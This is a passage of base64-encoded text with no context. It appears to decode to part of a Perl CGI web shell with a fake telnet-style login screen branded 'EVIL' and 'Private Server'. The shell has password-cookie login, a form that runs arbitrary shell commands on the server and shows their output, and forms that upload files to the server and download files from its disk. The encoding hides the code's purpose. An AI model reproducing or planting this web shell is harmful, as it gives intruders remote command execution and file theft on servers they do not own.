lZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfA0KPGEgaHJlZj0iVU5JVFhfVEVBTUBIT1RNQUlMLkNPTSI+SGVscDwvYT4NCjwvZm9udD48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48Zm9udCBjb2xvcj0iI2ZmMDAwMCI+IF9fX19fICBfX19fXyAgX19fX18gICAgICAgICAgX19fX18gICAgICAgIF8gICAgICAgICAgICAgICBfDQovICBfXyBcfCAgX18gXHxfICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8DQp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xw0KfCB8ICAgIHwgfCBfXyAgIHwgfCAgfF9fX19fX3wgIHwgfCAgIC8gXyBcfCB8fCAnXyBcICAvIF8gXHwgX198DQp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8IHwgfCB8fCAgX18vfCB8Xw0KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPsKpIDIwMDMsIEFzaGl5YW5lPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4NCiAgICAgICAgICAgICAgICAgICAuLSZxdW90OyAgICAgICZxdW90Oy0uDQogICAgICAgICAgICAgICAgICAvICAgVU5JVC1YICAgXA0KICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8DQogICAgICAgICAgICAgICAgIHwsICAuLS4gIC4tLiAgLHwNCiAgICAgICAgICAgICAgICAgfCApKF9vLyAgXG9fKSggfA0KICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8DQogICAgICAgKEBfICAgICAgIChfICAgICBeXiAgICAgXykNCiAgXyAgICAgKSBcPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5cPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+fCpFVklMKnw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4vPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXw0KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxNQVNURVIvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPg0KICAgICAgICApXy8gICAgICAgIFwgICAgICAgICAgLyANCiAgICAgICAoQCAgICAgICAgICAgYC0tLS0tLS0tYA0KICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KbG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQokUHJvbXB0IHVwbG9hZDxicj48YnI+DQpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiB2YWx1ZT0ib3ZlcndyaXRlIj4NCk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPg0KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCjxjb2RlPg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4NCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4uDQo8L2NvZGU+DQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCE8L2NvZGU+IjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6